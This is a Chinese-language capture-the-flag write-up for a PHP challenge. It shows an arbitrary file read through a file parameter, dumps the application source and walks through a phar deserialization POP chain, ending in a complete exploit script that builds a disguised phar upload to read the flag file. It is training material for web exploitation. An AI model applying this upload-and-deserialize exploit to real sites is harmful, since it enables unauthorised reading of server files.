[SWPUCTF 2018]SimplePHP

Posted 2021-06-18 H3rmesk1t

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[SWPUCTF 2018]Simplephp

考点
思路
Payload

考点

文件包含、Phar反序列化

思路

页面存在一个简单的文件上传页面，以及一个查看上传之后的文件的地方
查看文件出的url为http://b2674493-8a2d-4652-92da-b88fca9fb552.node3.buuoj.cn/file.php?file=，看到file=尝试一下文件内容读取
F12查看发现有提示，尝试伪协议读取但是没成功
尝试直接file=index.php发现可以读取，干脆把可以读取的都读取一遍

分析

index.php分析
include了一个base.php，base.php输出了一个REMOTE_ADDR，显示出首页的那个IP
file.php分析
包含了function.php和class.php，设置了open_basedir；用file_exists判断file参数的文件是否存在，这也是我们用base64读取不了的原因，伪协议不能用在这个函数；若文件存在，将要读取的文件赋值给Show类的$source，调用class.php中的_show()函数
class.php分析
class.php中有一个很明显的POP链，此外，由于没有unserialize函数触发反序列化，那么就只能上传一个phar来触发反序列化

Payload

读取index.phphttp://b2674493-8a2d-4652-92da-b88fca9fb552.node3.buuoj.cn/file.php?file=index.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'base.php';
?>

读取base.phphttp://b2674493-8a2d-4652-92da-b88fca9fb552.node3.buuoj.cn/file.php?file=base.php

<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->

读取file.phphttp://b2674493-8a2d-4652-92da-b88fca9fb552.node3.buuoj.cn/file.php?file=file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\\'t exists.'); 
} 
?>

读取upload_file.phphttp://b2674493-8a2d-4652-92da-b88fca9fb552.node3.buuoj.cn/file.php?file=upload_file.php

<?php 
include 'function.php'; 
upload_file(); 
?> 
<html> 
<head> 
<meta charest="utf-8"> 
<title>文件上传</title> 
</head> 
<body> 
<div align = "center"> 
        <h1>前端写得很low,请各位师傅见谅!</h1> 
</div> 
<style> 
    p{ margin:0 auto} 
</style> 
<div> 
<form action="upload_file.php" method="post" enctype="multipart/form-data"> 
    <label for="file">文件名:</label> 
    <input type="file" name="file" id="file"><br> 
    <input type="submit" name="submit" value="提交"> 
</div> 

</script> 
</body> 
</html>

读取function.phphttp://b2674493-8a2d-4652-92da-b88fca9fb552.node3.buuoj.cn/file.php?file=function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?>

读取class.phphttp://b2674493-8a2d-4652-92da-b88fca9fb552.node3.buuoj.cn/file.php?file=class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\\.\\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\\.\\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

POP链构造

通过Cle4r，将str赋值为Show类
this->test=$this->Show类
echo $this->test;
触发Show类中的__tostring魔术方法，进入Show类，执行
$content=$this->str[‘str’]->source;
将str[‘str’]赋值为Test类，使其调用不存在的source
接下来就进入了Test类,执行__get($key)，这个$key，其实就是source
get($key)
$value=this->params[‘source’];
file_get_contents($value);
由于Test类在构造函数中，定义了params是个数组，那么我们就定义params=array(‘source’=>’/var/www/html/fl1g.php’);

exp构造

<?php
class C1e4r
{
    public $test;
    public $str;
}
class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params = array('source' => 'var/www/html/f1ag.php');
}

    @unlink("c1e4r.phar");
    $phar = new Phar("c1e4r.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
    $p1 = new C1e4r();
    $p2 = new Show();
    $p2->str = array('str'=>new Test());
    $p1->str = $p2;

    $phar->setMetadata($p1); 
    var_dump($phar->getMetadata());
    $phar->addFromString("test.txt", "c1e4r"); 
    //签名自动计算
    $phar->stopBuffering();
?>

将生成的phar文件修改后缀名为gif上传
访问http://b2674493-8a2d-4652-92da-b88fca9fb552.node3.buuoj.cn/upload/查看上传的文件
用phar伪协议读取flag

在这里插入图片描述

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